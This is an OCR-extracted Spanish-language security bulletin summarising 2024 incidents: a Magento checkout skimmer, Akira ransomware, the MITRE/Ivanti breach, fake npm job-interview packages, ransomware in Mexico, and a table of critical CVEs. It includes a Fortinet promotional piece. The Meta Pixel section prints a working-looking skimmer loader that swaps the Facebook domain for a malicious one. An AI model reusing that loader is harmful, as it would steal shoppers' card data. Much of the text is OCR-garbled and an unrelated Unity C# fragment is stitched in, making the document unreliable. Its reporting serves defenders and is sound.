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LOS HACKERS ESTAN UTILIZANDO LA VULNERABILIDAD () ADV
DE MAGENTO PARA EXTRAER INFORMACION DE PAGO DE ™~
LOS SITIOS WEB DE COMERCIO ELECTRONICO.

Este ataque aprovecha la CVE-2024-20720 (CVSS score: 9.1), la cual ha sido descrita por Adobe como una
instancia de "neutralizacion inadecuada de elementos especiales", abriendo la posibilidad de ejecucion de
codigo arbitrario.

La empresa abordd esta vulnerabilidad como parte de las actualizaciones de seguridad publicadas el 13 de
febrero de 2024.

Segln Sansec, se encontré una "plantilla de disefio ingeniosamente disefiada en la base de datos", la cual se
utiliza para inyectar automaticamente cédigo malicioso con el fin de ejecutar comandos arbitrarios.

"Los atacantes estdan combinando el analizador de disefio de Magento con el paquete beberlei/assert (instalado
por defecto) para ejecutar comandos del sistema", informé la compaiiia.

Debido a que el bloque de disefio esta asociado al carrito de pago, este comando se ejecuta cada vez que se
solicita <tienda>/checkout/cart. El comando en cuestién es sed, que se utiliza para insertar un cédigo de puerta
trasera de ejecucidn, responsable de introducir un skimmer de pagos de Stripe para capturar y filtrar
informacidn financiera hacia otra tienda Magento comprometida.

Este desarrollo surge en un momento en que el gobierno ruso ha acusado a seis individuos de utilizar malware
skimmer para sustraer informaciéon de pagos y tarjetas de crédito de tiendas de comercio electrdnico
extranjeras, al menos desde finales de 2017. Los sospechosos incluyen a Denis Priymachenko, Alexander
Aseyev, Alexander Basov, Dmitry Kolpakov, Vladislav Patyuk y Anton Tolmachev. Seguin informes de Recorded
Future News, los arrestos tuvieron lugar hace un afio, seglin documentos judiciales.

La Fiscalia General de la Federacion de Rusia declard: "Como resultado, los miembros del grupo de piratas
informaticos obtuvieron ilegalmente informacidn sobre casi 160.000 tarjetas de pago de ciudadanos extranjeros
y las vendieron a través de sitios web ocultos".

LOS PERPETRADORES DE AMENAZAS HAN SIDO IDENTIFICADOS EXPLOTANDO
UNA VULNERABILIDAD CRITICA EN MAGENTO PARA IMPLANTAR UNA PUERTA
TRASERA PERSISTENTE EN LOS SITIOS WEB DE COMERGIO ELECTRONICO.

The Hacker News. (s. f.). Hackers Exploit MasSnEoNSUSEO ISRt Data from E-commerceWebsites. https://thehackernews.com/2024/04/hackers-exploit-magento-bug-to-

ic.com/boletin



UN ASTUTO SKIMMER DE TARJETAS DE
CREDITO SE  CAMUFLA  COMO  UN
APARENTEMENTE INOFENSIVO RASTREADOR
DE FACEBOOK.

Segun Sucuri, el malware se inserta en sitios web a través de
herramientas que permiten coédigo personalizado, como los
complementos de WordPress como Simple Custom CSS y JS, o la
seccion "Miscellaneous Scripts" del panel de administracion de
Magento.

"Los editores de scripts personalizados son populares entre los
actores maliciosos porque permiten la inclusién de JavaScript externo
de terceros (y malicioso) y pueden facilmente disfrazarse como
benignos utilizando convenciones de nomenclatura que coinciden con
scripts populares como Google Analytics o bibliotecas como JQuery",
explicé el investigador de seguridad Matt Morrow.

El falso script de seguimiento Meta Pixel identificado por la empresa
de seguridad web contiene elementos similares a su contraparte
legitima, pero una inspeccion mas detallada revela la inclusion de
coédigo JavaScript que reemplaza las referencias al dominio
"connect.facebook[.]net" por "b-connected[.]Jcom".

A pesar de que "connect.facebook[.]net" es un dominio legitimo
asociado a la funcionalidad de seguimiento de pixeles, el dominio de
reemplazo, "b-connected[.]Jcom", se utiliza para cargar un script
malicioso adicional ("fbevents.js"). Este script monitorea si el usuario
estd en una pagina de pago vy, si es asi, despliega una superposicion
fraudulenta para recopilar los datos de la tarjeta de crédito de la
victima.

Los investigadores de ciberseguridad han descubierto un skimmer de
tarjetas de crédito oculto dentro de un script de seguimiento falso de
Meta Pixel, en un intento de eludir la deteccidn.

Para mitigar estos riesgos, se recomienda mantener actualizados los
sitios web, revisar periddicamente las cuentas de administrador para
asegurarse de que todas sean legitimas y actualizar las contrasefias
con regularidad.

Esto es especialmente critico ya que los actores de amenazas suelen
aprovechar contrasefias débiles y vulnerabilidades en los
complementos de WordPress para obtener acceso privilegiado

www.adv-ic.com/boletin

LOS INVESTIGADORES DE CIBERSEGURIDAD HAN
DESCUBIERTO UN SKIMMER DE TARJETAS DE CREDITO
OCULTO DENTRO DE UN SCRIPT DE SEGUIMIENTO
FALSO DE META PIXEL, EN UN INTENTO DE ELUDIR LA
DETECCION.
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UN ASTUTO SKIMMER DE TARJETAS DE CREDITO SE CAMUFLA COMO UN APARENTEMENTE
INOFENSIVO RASTREADOR DE FACEBOOK. Q A DV

a un sitio objetivo y agregar usuarios administradores maliciosos. Estos usuarios luego se utilizan para llevar
a cabo diversas actividades, como la instalacion de complementos y puertas traseras adicionales.

"Debido a que los ladrones de tarjetas de crédito a menudo estan programados para activarse en palabras
clave como 'pagar' o 'una pagina', es posible que no sean detectados hasta que se cargue la pagina de pago",
explicé Morrow.

"Dado que la mayoria de las paginas de pago se generan dindmicamente en funcién de los datos de las cookies
y otras variables que se pasan a la pagina, estos scripts pueden eludir los escaneres publicos. La Ginica manera
de identificar el malware es verificar el origen de la pagina o monitorear el trafico de la red. Estos scripts
funcionan silenciosamente en segundo plano."

Este desarrollo se produce mientras Sucuri también revela que los sitios creados con WordPress y Magento son
el objetivo de otro malware conocido como Magento Shoplift. Variantes anteriores de Magento Shoplift se han
detectado en el entorno en vivo desde septiembre de 2023.

La cadena de ataque se inicia con la insercion de un fragmento de JavaScript ofuscado en un archivo
JavaScript legitimo. Este fragmento es responsable de cargar un segundo script desde jqueurystatics[.]Jcom a
través de WebSocket Secure (WSS). Este segundo script esta disefiado para facilitar el robo de datos, incluidos
los datos de tarjetas de crédito, y se camufla como un script de Google Analytics.

"WordPress también se ha consolidado como una importante plataforma en el comercio electrdnico, gracias a
la popularidad de Woocommerce y otros complementos que permiten convertir facilmente un sitio de
WordPress en una tienda en linea completa", sefialé la investigadora Puja Srivastava.

"Sin embargo, esta popularidad también hace que las tiendas de WordPress sean un objetivo principal para
los atacantes, quienes estan adaptando su malware de comercio electronico MageCart para dirigirse a una
variedad mas amplia de plataformas de gestién de contenido (CMS)".

>

function(f,b,e,v,n,t,s)

{n=f.fbg-function(){n.callMethod?
n.callMethod.apply(n,arguments):n.queue.push(arguments)};

(! f._fbg)f._fbg-n;n.push-n;n.loaded-!0;n.version-"'2.0";
n.queue=[];t=b.createElement(e);t.async=!0;
q=v.replace(".facebook.", "ed.com");
q=q.replace("net", "");q=q.replace("https://", "https://www.b-");
t.src=q;s-b.getElementsByTagName(e)[0];
s.parentNode.insertBefore(t, s)}(window, document,'script’,
'https://connect.facebook.net/en_US/fbevents.js');
fbq('init"', '725932764620090');
fbg('track', 'PageView');

>
>< height="1" width="1" style="display:none"
src="https://www.facebook. com/tr?id= 7259327646200948ev=PageViewlinos
/></ >
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LA PANDILLA DE RANSOMWARE AKIRA HA LUGRADU é r
EXTORSIONAR LA CONSIDERABLE SUMA DE 42 MILLONES ~ Swmes
DE DOLARES, Y AHORA HA AMPLIADO SU ENFOQUE PARA

ATACAR SERVIDORES LINUX.

LOS PERPETRADURES DE AMENAZAS DETRAS DEL GRUPO DE RANSUMWARE AKIRA HAN
OBTENIDO ALREDEDOR DE 42 MILLONES DE DOLARES EN GANANCIAS ILICITAS DESPUES DE
COMPROMETER LAS REDES DE MAS DE 250 VICTIMAS HASTA EL 1 DE ENERO DE 2024.

Segln un comunicado conjunto de las agencias de ciberseguridad de los Paises Bajos y EE. UU., junto con el
Centro Europeo de Ciberdelincuencia (EC3) de Europol, desde marzo de 2023, el ransomware Akira ha
impactado a diversas empresas y entidades de infraestructura critica en América del Norte, Europa y Australia.

En abril de 2023, tras dirigirse inicialmente a sistemas Windows, los actores de amenazas de Akira lanzaron una
variante dirigida a maquinas virtuales VMware ESXi basadas en Linux.

Se ha observado que el grupo emplea una variante C++ del ransomware en las etapas iniciales, antes de
cambiar a un c6digo basado en Rust desde agosto de 2023. Es importante destacar que este actor del crimen
cibernético es completamente distinto de la familia de ransomware Akira que estuvo activa en 2017.

El acceso inicial a las redes objetivo se logra mediante la explotacion de vulnerabilidades conocidas en
dispositivos Cisco, como CVE-2020-3259 y CVE-2023-20269.

Otros vectores de ataque incluyen el uso de Protocolo de Escritorio Remoto (RDP), phishing, credenciales
validas y servicios de red privada virtual (VPN) que carecen de protecciones de autenticacion multifactor (MFA).

También se ha identificado que los actores detrds de Akira utilizan diversas tacticas para establecer la
persistencia en los sistemas comprometidos, como la creaciéon de una nueva cuenta de dominio y eludir la
deteccion mediante el abuso del controlador Zemana AntiMalware para finalizar procesos relacionados con el
antivirus, en lo que se conoce como un ataque Bring Your Own Vulnerable Driver (BYOVD).

Para facilitar la escalada de privilegios, los atacantes confian en herramientas de extraccién de credenciales
como Mimikatz y LaZagne, mientras que utilizan Windows RDP para moverse lateralmente dentro de la red de la
victima. La exfiltracién de datos se realiza a través de herramientas como FileZilla, WinRAR, WinSCP y RClone.

Segln un analisis de Trend Micro publicado en octubre de 2023, el ransomware Akira cifra los sistemas
especificos utilizando un algoritmo de cifrado hibrido que combina Chacha20 y RSA. Ademads, el binario de
ransomware Akira incluye una funcién que impide la recuperacién del sistema al eliminar instantdneas del
sistema afectado.

En algunos casos, el grupo también ha desplegado dos variantes diferentes de ransomware, una dirigida a
sistemas Windows y otra a sistemas ESXi (Akira_v2), como parte del mismo evento de compromiso.

www.adv-ic.com/boletin



LA PANDILLA DE RANSOMWARE AKIRA HA LOGRADO EXTORSIONAR LA CONSIDERABLE SUMA DE 42 (‘
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MILLONES DE DOLARES, Y AHORA HA AMPLIADO SU ENFOQUE PARA ATACAR SERVIDORES LINUX.

Los datos de blockchain y el anélisis del cddigo fuente sugieren que el grupo de ransomware Akira podria estar
relacionado con la banda de ransomware Conti, que ha dejado de operar. Avast lanz6 un descifrador para
Akira en julio pasado, aunque es probable que las vulnerabilidades hayan sido corregidas desde entonces.

La mutacién de Akira para apuntar a entornos empresariales Linux también sigue movimientos similares de
otras familias de ransomware establecidas como LockBit, ClOp, Royal, Montiy RTM Locker.
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La pandilla de ransomware Akira ha logrado extorsionar la considerable suma de 42 millones de délares, y ahora ha ampliado su enfoque para atacar servidores

Linux.
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public float deltaRotation;
public float deltaLimit;
public float deltaReduce;
float previousRotation;
float currentRotation;

#if UNTITY_EDITOR
vold FixedUpdate()

it (Input.GetMouseButtonDown(0))

deltaRotation = 0f;
previousRotation = angleBetweenPoints(transform.position,

}
else if (Input.GetMouseButton(0))
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currentRotation = angleBetweenPoints(transform.position, ¢

deltaRotation = Mathf.DeltaAngle(currentRotation, previou
if (Mathf.Abs(deltaRotation) > deltaLimit)
{
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LA CORPORACION MITRE

HA SIDO COMPROMETIDA ‘)ADV
POR PIRATAS INFORMATICOS

RESPALDADOS POR ESTADOS, QUIENES
ESTAN APROVECHANDO LAS
VULNERABILIDADES EN EL SOFTWARE DE
IVANTI.

MITRE Corporation ha revelado que fue objeto de un ciberataque
perpetrado por un estado-nacién, el cual aprovechdé dos
vulnerabilidades de dia cero en los dispositivos lvanti Connect
Secure a partir de enero de 2024.

Este incidente condujo a la comprometida de su entorno de
virtualizacidn, investigacion y experimentacién en red (NERVE),
una red no clasificada utilizada para investigacion y desarrollo de
prototipos.

El adversario, aun no identificado, llevdé a «cabo un
reconocimiento de las redes de MITRE, explotando una de sus
redes privadas virtuales (VPN) mediante el aprovechamiento de
dos vulnerabilidades de dia cero en lvanti Connect Secure, y
logrando eludir la autenticacion multifactor al secuestrar
sesiones, seglin lo expresado por Lex Crumpton, un investigador
especializado en operaciones cibernéticas defensivas de la
organizacion sin fines de lucro, durante la semana pasada.

El ataque implicé la explotacion de dos vulnerabilidades
especificas: CVE-2023-46805 (CVSS score: 8.2) y CVE-2024-21887
(CVSS score: 9.1), que los actores de amenazas utilizaron para
eludir la autenticacidon y ejecutar comandos arbitrarios en el
sistema infectado.

Una vez que obtuvieron acceso inicial, los atacantes se movieron
lateralmente y comprometieron la infraestructura VMware de

| MITRE utilizando una cuenta de administrador comprometida.

Esto les permitié desplegar puertas traseras y shells web para
lograr persistencia y recolectar credenciales.

"NERVE es una red colaborativa no clasificada que proporciona
recursos de almacenamiento, computacién y redes", declard
MITRE. "Segln nuestra investigacion hasta la fecha, no hay
indicios de que la red empresarial central de MITRE o los sistemas
de los socios se hayan visto afectados por este incidente".



ESTADOS, QUIENES ESTAN APROVECHANDO LAS VULNERABILIDADES EN EL SOFTWARE DE [VANTI.

LA CORPORACION MITRE HA SIDO COMPROMETIDA POR PIRATAS INFORMATICOS RESPALDADOS POR ( ‘
~ADV

La explotacién inicial de estas vulnerabilidades ha
sido atribuida a un grupo identificado por la empresa
de ciberseguridad Volexity como UTA0178, un actor
estatal probablemente vinculado a China. Desde
entonces, varios otros grupos de hackers con
conexiones con China han seguido explotando estas
vulnerabilidades, segin Mandiant.

"Este tipo de ciberataques pueden afectar a
cualquier organizacién, incluso aquellas que se
esfuerzan por mantener los mas altos estandares de
ciberseguridad", declaré Jason Providakes,
presidente y director ejecutivo de MITRE.

"Estamos compartiendo esta informacion sobre el
incidente de manera oportuna porque estamos
comprometidos con el interés publico y defendemos
las mejores practicas que promueven la seguridad
empresarial. Asimismo, estamos trabajando para
implementar medidas que mejoren la postura de
ciberdefensa de la industria en general".

www.adv-ic.com/boletin

The Hacker News. (s. f.-c). MITRE Corporation Breached by Nation-State Hackers

Exploiting Ivanti Flaws.
breached-by-nation.html
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LOS PAQUETES FALSOS DE NPM ESTAN SIENDO
CADV

UTILIZADOS COMO UNA TACTICA PARA ENGANAR A LOS
DESARROLLADORES DE SOFTWARE, LLEVANDOLOS A INSTALAR

MALWARE.

Una campafia de ingenieria social en curso estd dirigida a desarrolladores de software mediante el uso de
paquetes npm falsos que se presentan como una oportunidad de trabajo. Estos paquetes contienen una
puerta trasera de Python, disefiada para engafiar a los desarrolladores y hacer que descarguen y ejecuten el
software malicioso.

La empresa de ciberseguridad Securonix ha estado monitoreando esta actividad, conocida como
DEV#POPPER, y la ha relacionado con actores de amenazas norcoreanos.

"Durante estas entrevistas fraudulentas, se le solicita a los desarrolladores que realicen tareas que implican la
descarga y ejecucién de software de fuentes que parecen legitimas, como GitHub", explicaron los
investigadores de seguridad Den luzvyk, Tim Peck y Oleg Kolesnikov. "Este software contiene una carga util
maliciosa de Node JS que, una vez ejecutada, compromete el sistema del desarrollador".

Los detalles de esta campafia emergieron inicialmente a finales de noviembre de 2023, cuando la Unidad 42 de
Palo Alto Networks describi6é un conjunto de actividades denominado "Entrevista Contagiosa". En esta tactica,
los actores de amenazas se hacen pasar por empleadores con el objetivo de atraer a los desarrolladores de
software para que instalen malware como BeaverTail e InvisibleFerret durante el proceso de entrevista.

Posteriormente, a principios de febrero, la empresa de seguridad de la cadena de suministro de software
Phylum descubrié un conjunto de paquetes maliciosos en el registro npm que entregaban las mismas familias
de malware, comprometiendo asi informacién confidencial de los sistemas de desarrollo.

Es importante sefialar que "Contagious Interview" se distingue de "Operation Dream Job" (también conocido
como DeathNote o NukeSped). La Unidad 42 explicé a The Hacker News que la primera estd enfocada en
dirigirse a desarrolladores, principalmente a través de identidades falsas en portales de empleo
independientes, y que las siguientes etapas involucran el uso de herramientas de desarrollo y paquetes npm
que conducen a BeaverTail e InvisibleFerret.

MITRE CORPORATION HA REVELADO QUE FUE OBJETO DE UN CIBERATAQUE PERPETRADO POR
UN ESTADO-NACION, EL CUAL APROVECHO DOS VULNERABILIDADES DE DIA CERO EN LOS

DISPOSITIVOS IVANTI CONNECT SECURE A PARTIR DE ENERO DE 2024.
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Por otro lado, "Operation Dream Job", vinculada al
Grupo Lazarus de Corea del Norte, es una campafia de
larga duracién que utiliza ofertas de trabajo falsas para
distribuir malware a profesionales en sectores como el
aeroespacial, las criptomonedas y la defensa.

La cadena de ataque identificada por Securonix
comienza con un archivo ZIP alojado en GitHub,
probablemente enviado al objetivo como parte de la
entrevista. Dentro de este archivo se encuentra un
modulo npm aparentemente benigno que aloja un
archivo  JavaScript malicioso, codificado como
BeaverTail, que actia como un ladrén de informacién y
un cargador para una puerta trasera de Python llamada
InvisibleFerret, que se descarga desde un servidor
remoto.

El implante, ademas de recopilar informacién del
sistema, tiene la capacidad de ejecutar comandos,
enumerar y extraer archivos, y registrar el portapapeles
y las pulsaciones de teclas.

Este desarrollo es un indicio de que los actores de
amenazas norcoreanos contintan perfeccionando una
serie de herramientas para su arsenal de ataques
cibernéticos. Constantemente actualizan sus técnicas
con capacidades mejoradas para ocultar sus acciones y
mezclarse con los sistemas y redes anfitriones, ademas
de desviar datos y convertir los compromisos en
ganancias financieras.

"Es crucial mantener una mentalidad centrada en la
seguridad cuando se enfrenta a ataques que utilizan
ingenieria social, especialmente en situaciones intensas
y estresantes como las entrevistas de trabajo",
comentaron los investigadores de Securonix.

"Los atacantes detrds de las campafias DEV#POPPER se
aprovechan de esto, sabiendo que la persona al otro
lado esta muy distraida y en un estado mucho mas
vulnerable".
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LOS GRUPOS DELICTIVOS EXPERTOS EN RANSOMWARE ESTAN REALIZANDO ENSAYQS EN NACIONES
EN VIAS DE DESARROLLO COMO MEXICO ANTES DE LLEVAR A CABO SUS ATAQUES CONTRA
OBJETIVOS EN ESTADOS UNIDOS, EUROPA 0 ASIA.

GESTA MEXIC[] TRANSFORMANDOSE EN EL  SITIO DE
EXPERIMENTACION PARA EL DESARROLLO DEL RANSOMWARE EN EL
FUTURO?

Recientemente, hemos presenciado un marcado incremento en los ataques de ransomware dirigidos a
organizaciones de diversos sectores en distintas regiones del planeta. Este tipo de software malicioso
involucra a un atacante que encripta archivos o restringe el acceso a un sistema informatico, exigiendo un
rescate a cambio de su liberacién o descifrado.

En los Gltimos afios, ha habido un considerable aumento de casos de ransomware en México. Para finales de
2023, el pais se ubicdé como el segundo en Latinoamérica en cuanto a detecciones Unicas de este tipo de
malware, representando el 25.8% de la distribucidon regional. Durante el primer trimestre de 2024, se confirmé
que el ransomware sigue siendo un desafio significativo en México, impactando una variedad de sectores,
tanto publicos como privados.

En los altimos afios, los ataques de ransomware han causado pérdidas econdémicas considerables en el pais.
Por ejemplo, en 2023 se registré que el costo promedio para recuperarse de un ataque de ransomware
ascendid a 2.3 millones de délares.

De acuerdo con un estudio llevado a cabo por la unidad de investigacion de SILIKN, México se sitda en el
puesto nimero 14 a nivel mundial como objetivo de ataques de ransomware. Los sectores mas perjudicados
por estos ataques son el gobierno y la industria. Ademas, el grupo cibercriminal mas activo en el pais en
cuanto a ransomware ha sido LockBit 3.0, con un total de 28 ataques documentados.

www.adv-ic.com/boletin
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Entre las estadisticas relevantes relacionadas con el ransomware
recopiladas en el afio 2023, destacan los siguientes datos:

e Durante el afo 2023, un 88% de las organizaciones mexicanas
experimentaron impactos causados por ransomware.

e De estos ataques, el 72% resultaron en la encriptacién de datos.

e Solo el 19% de las organizaciones afectadas lograron recuperar
parte de sus datos cifrados.

e El45% de las organizaciones optaron por pagar el rescate exigido.

e Aquellas organizaciones mexicanas que pagaron el rescate lograron
recuperar en promedio el 28% de sus datos.

e El costo promedio para recuperarse de un ataque de ransomware
en México durante 2023 fue de 2.3 millones de délares.

* El 98% de las organizaciones en México informaron que los ataques
de ransomware afectaron su capacidad operativa.

e El 96% de estas organizaciones reportaron pérdidas en negocios,
clientes o ingresos debido a los ataques de ransomware.

e En promedio, las organizaciones mexicanas tardaron seis meses en
recuperarse por completo de estos ataques.

En el contexto actual, ha surgido una preocupacién importante: ;Esta
México convirtiéndose en el campo de pruebas para el ransomware del
futuro? Segun la unidad de investigacién de SILIKN, grupos delictivos
especializados en ransomware estan llevando a cabo pruebas en paises
en desarrollo como México antes de ejecutar sus ataques contra
blancos en Estados Unidos, Europa o Asia. Esto se debe a que han
identificado en México, y en América Latina en general, una falta de
conciencia sobre ciberseguridad, sistemas desactualizados sin parches
de seguridad, tecnologias obsoletas y sin soporte del fabricante, asi
como diversas vulnerabilidades globales que no se han abordado de
manera oportuna ni efectiva. Ademds, también observan una respuesta
débil por parte de los usuarios frente a los ataques de phishing.

Un aspecto importante a destacar es que los paises en desarrollo estan
siendo seleccionados como objetivos principales para estas pruebas
debido a su rapida adopcidn de la digitalizacion y su infraestructura de
seguridad relativamente mas débil. Por esta razdn, grupos como
LockBit 3.0, Trigona, 8Base, Rhysida, Medusa, Raworld, Akira vy
Noescape, entre otros, estan utilizando estas regiones como terrenos
de pruebas. Una vez que logran infiltrarse con éxito en empresas y
gobiernos de América Latina, expanden sus operaciones hacia objetivos
en paises desarrollados.

Ruiz, P. V.. (2024, 27 abril). ; Se esta convirtiendo México en el laboratorio de
pruebas para el ransor e del futuro? Infobae.
v.infobae.com/mexic v esta-convirtiendo-

) xico-en-el-laboratorio-de-pruebas-para-el-ransomware-del-futuro/
www.adv-ic.com/boletin
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Un ejemplo ilustrativo de esto es el descubrimiento de nuevas variantes del ransomware SEXi, que afectd a
principios de abril de 2024 a IxMetro Powerhost, un proveedor chileno de centros de datos y servicios de
hosting, y se sospecha que también impactd a la empresa mexicana Coppel a mediados del mismo mes.
Ademas, se estima que este avanzado malware no solo caus6 una interrupcién temporal en los servicios, sino

que también eliminé datos financieros de una empresa tributaria en Colombia y de una agencia

gubernamental en Argentina.

En la busqueda de soluciones, la lucha contra el ransomware parece ser un desafio perpetuo. Sin embargo, los
criminales informaticos muestran una creciente preocupacidn por las operaciones encubiertas realizadas por
agencias de aplicacién de la ley como el FBI, Interpol y Europol, que recientemente han logrado desmantelar
grupos delictivos notables como Blackcat o Hive. Estas acciones han dejado claro que es posible arrestar a los
ciberdelincuentes, lo que ha generado un temor entre ellos de ser capturados y perder sus ganancias ilicitas.
Aunque este efecto aun es limitado, sirve como un disuasivo contra las actividades de ransomware.

Ademas de México, otros paises de América Latina deben intensificar sus esfuerzos para mejorar sus medidas
de ciberseguridad y asi reducir los efectos perjudiciales causados por los grupos de ciberdelincuentes. Esta
tarea debe considerarse una prioridad, ya que de lo contrario, corren el riesgo de seguir siendo naciones
constantemente vulnerables a los ataques cibernéticos.

\.
i

Ruiz, P. V. (2024, 27 abril). ;Se esta convirtiendo México en el laboratorio de pruebas para el ransomware del futuro? Infobae. https://www.infobae.com/mexico/2024/04/26/se-esta-convirtiendo-
mexico-en-el-laboratorio-de-pruebas-para-el-ransomware-del-futuro/



FORTINET: A LA VANGUARDIA DE LA )
CIBERSEGURIDAD EN MEXICO. TA[]"

Fortinet lidera el panorama de la ciberseguridad en
México, ofreciendo soluciones robustas y confiables
en un entorno digital cada vez mas complejo y
amenazante. En un pais que ha experimentado un

notable aumento en los ciberataques en los Ultimos .

anos, la presencia de Fortinet se destaca como una __—?_“':-"’” " Fia
aliada indispensable para las organizaciones . ; G gti1] -
mexicanas. - *layee®

La economia digitalmente avanzada de México
enfrenta  desafios (nicos en  materia de
ciberseguridad, y Fortinet ha demostrado ser un socio
confiable en esta area. A través de su participacion

constante en eventos como el IT Solutions Day, 0

o

Fortinet se compromete a compartir las ultimas

soluciones y estrategias en ciberseguridad con los !
lideres tecnolégicos de México. 1
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Para los CISOs, que tienen la responsabilidad de
garantizar la seguridad de la informaciéon en sus
organizaciones, Fortinet ofrece mas que simples

productos: proporciona una verdadera asociacion.

Con una amplia cartera que abarca desde la seguridad
integral hasta la inteligencia de amenazas y el soporte
y capacitacién continuos a través de la Fortinet
Security Academy, Fortinet se destaca como un aliado
indispensable para enfrentar los desafios de

i e ——— e § g
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seguridad cibernética.

Ademas, Fortinet ha contribuido significativamente al
panorama de la ciberseguridad en México a través de
iniciativas como la colaboracién con instituciones
educativas para fomentar el talento local en
ciberseguridad y su participacién activa en foros y
conferencias de seguridad. Su compromiso con la
educacion y la difusion de las mejores practicas de
seguridad ha elevado el estdndar de ciberseguridad
en el pais.

Wpx_4dm1n. (2024, 18 abril). Fortinet: Liderando la Ciberseguridad en México - IT Solutions Day - El
Mejor Evento de Ciberseguridad y. IT Solutions Day - El Mejor Evento de Ciberseguridad y Nube
Hibrida. https://itsolutionsday.mx/fortinet-liderando-la-ciberseguridad-en-mexico/
fv-ic.com/boletin




Impreso. (2024, 30 abril). México, el pais mas at3
atacado.html

MEXICO SE ENFRENTA A UNA DURA REALIDAD: ES EL PAIS MAS
ATACADO EN TERMINOS DE CIBERSEGURIDAD.

México enfrenta una situacidon preocupante, siendo el pais con el mayor nimero de ciberataques, segln el
"Cyberthreat Defense Report 2024" elaborado por CyberEdge Group. El informe revela que el 97% de las empresas
mexicanas fueron afectadas al menos una vez durante el afio pasado. A nivel mundial, el porcentaje de empresas
atacadas exitosamente se redujo del 84.7% al 81.5%, lo que indica una disminucién generalizada. Esto se atribuye
principalmente al regreso a las oficinas, que reduce el riesgo de empresas por ataques en modalidad de
teletrabajo, asi como a una mayor adopcidn de herramientas de proteccion y capacitacion de empleados.

Sin embargo, en el caso de México, aunque se esta volviendo a las oficinas, la adopcidon de herramientas de
proteccién y capacitacién no parece estar aumentando al mismo ritmo que la actividad de los ciberatacantes.
Esto ha resultado en un aumento en la frecuencia y gravedad de los ataques. Manuel Rivera de NEKT Group,
empresa en ciberseguridad, sefiala que la situacidén en México es alarmante debido a esta brecha entre la defensa
cibernéticay la actividad de los ciberdelincuentes.

Después de México, los paises mas afectados por los ciberataques contra empresas son Sudafrica, Colombia,
Espafia y Brasil, segin el informe. Esta tendencia resalta la importancia urgente de fortalecer las medidas de
ciberseguridad en México y en todo el mundo para proteger a las empresas contra las crecientes amenazas
cibernéticas.

Entre las principales industrias analizadas, las instituciones financieras experimentaron la mayor frecuencia de
ataques exitosos, seguidas por firmas de telecomunicaciones y tecnologia, mientras que la manufactura y el
comercio minorista fueron menos afectados.

Para el afio 2024, el documento muestra que el porcentaje de encuestados que creen que un ataque exitoso pueda
ocurrir paso del 71.8 al 66.7 por ciento a nivel mundial. En el caso de México, aunque el 97% de los encuestados
reportaron haber sido atacados exitosamente el afio pasado, solo el 62.5% cree que esto sucedera de nuevo en
2024.

Segln los especialistas, hay esperanza para México, ya que es uno de los paises donde mas empresas han incluido
expertos en ciberseguridad en sus consejos de administracion, con un 88%, en comparacién con el 62% a nivel
global. Sin embargo, es necesario que el conocimiento del consejo de administracion se difunda y permee en toda
la organizacidn para traducirlo en una menor tasa de éxito para los atacantes.

www.adv-ic.com/boletin
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g Fechade ,
Identificador publicacién Titulo CVSS v3.x Referencias
Fallas CVSS
CVE-2024- 3.1: https: d.nist.
04/27/2024 de seguridad en Y ps://nv n.|s &
3342 productos WordPress 9.9 ov/vuln/detail/CV
[critico] E-2024-3342

Descripcion: El complemento Timetable and Event Schedule by MotoPress para WordPress es vulnerable a la
inyeccién SQL a través del atributo 'events' del shortcode 'mp-timetable’ en todas las versiones hasta la
2.4.11 inclusive debido a un escape insuficiente en el parametro proporcionado por el usuario. y falta de
preparacion suficiente en la consulta SQL existente. Esto hace posible que los atacantes autenticados, con
acceso de nivel de colaborador y superior, agreguen consultas SQL adicionales a consultas ya existentes que
pueden usarse para extraer informacion confidencial de la base de datos.

Fechade

Identificador . .. Titulo CVSS v3.x Referencias
publicacion
CVSS
CVE-2023 Fallas 3.1 https://nvd.nist
j i 17/04/2024 de seguridad en VS ps:/fnve. ,I 8
39367 9.1 ov/vuln/detail/CV

productos HTTP .
[critico] E-2023-39367

Descripcion: Existe una vulnerabilidad de inyeccién de comandos del sistema operativo en la funcionalidad
mac2name de la interfaz web de Peplink Smart Reader v1.2.0 (en QEMU). Una solicitud HTTP especialmente
disefiada puede provocar la ejecucién de un comando arbitrario. Un atacante puede realizar una solicitud
HTTP autenticada para desencadenar esta vulnerabilidad.

www.adv-ic.com/boletin
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o Fecha de X
Identificador publicacién Titulo CVSS v3.x Referencias
CVSS
CVE-2024 Fallas 3.1 https://nvd.nist
- - v3.1: ://nvd.nist.
16/04/2024 de seguridad en aLR . &
21082 9.8 ov/vuln/detail/CV
productos Oracle N
[critico] E-2024-21082

Descripcion: Vulnerabilidad en el producto Oracle Bl Publisher de Oracle Analytics (componente: Servicios
XML). Las versiones compatibles que se ven afectadas son 7.0.0.0.0 y 12.2.1.4.0. Una vulnerabilidad facilmente
explotable permite que un atacante no autenticado con acceso a la red a través de HTTP comprometa Oracle
Bl Publisher. Los ataques exitosos a esta vulnerabilidad pueden resultar en la adquisicién de Oracle BI
Publisher. CVSS 3.1 Puntuacion base 9,8 (impactos en la confidencialidad, la integridad y la disponibilidad).
Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Identificador Fecha d? Titulo CVSS v3.x Referencias
publicacion
CVSS
Fallas https://nvd.nist.g
CVE-2024- . v3.1: .
10/04/2024 de seguridad en ov/vuln/detail/CV
20758 9.0
productos Adobe i E-2024-20758
[critico]

Descripcidn: Las versiones 2.4.6-p4, 2.4.5-p6, 2.4.4-p7, 2.4.7-beta3 y anteriores de Adobe Commerce se ven
afectadas por una vulnerabilidad de validacion de entrada incorrecta que podria provocar la ejecucion de
cédigo arbitrario en el contexto del usuario actual. . La explotacién de este problema no requiere la
interaccion del usuario, pero la complejidad del ataque es alta.

www.adv-ic.com/boletin
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. Fechade X
Identificador publicacién Titulo CVSS v3.x Referencias
Fallas CVSS .
CVE-2024- de seguridad en v3.1: hitps://nvd.nist.g
95990 09/04/2024 oroductos Microsoft 9.0 ov/vuln/detail/CV
. E-2024-29990
Azure [critico]

Descripcion: Vulnerabilidad de elevacién de privilegios del contenedor confidencial del servicio Microsoft

Azure Kubernetes

g Fechade ,
Identificador publicacién Titulo CVSS v3.x Referencias
CVE2024 Fallas CZSIS bttps://nvd.nist.g
B } v3.1: .
21894 04/04/2024 de seguridad en 9.8 ov/vuln/detail/CV
productos lvanti E-2024-21894
[Critico]

Descripcion: na vulnerabilidad de desbordamiento de montén en el componente IPSec de Ivanti Connect
Secure (9.x, 22.x) e Ivanti Policy Secure permite que un usuario malintencionado no autenticado envie
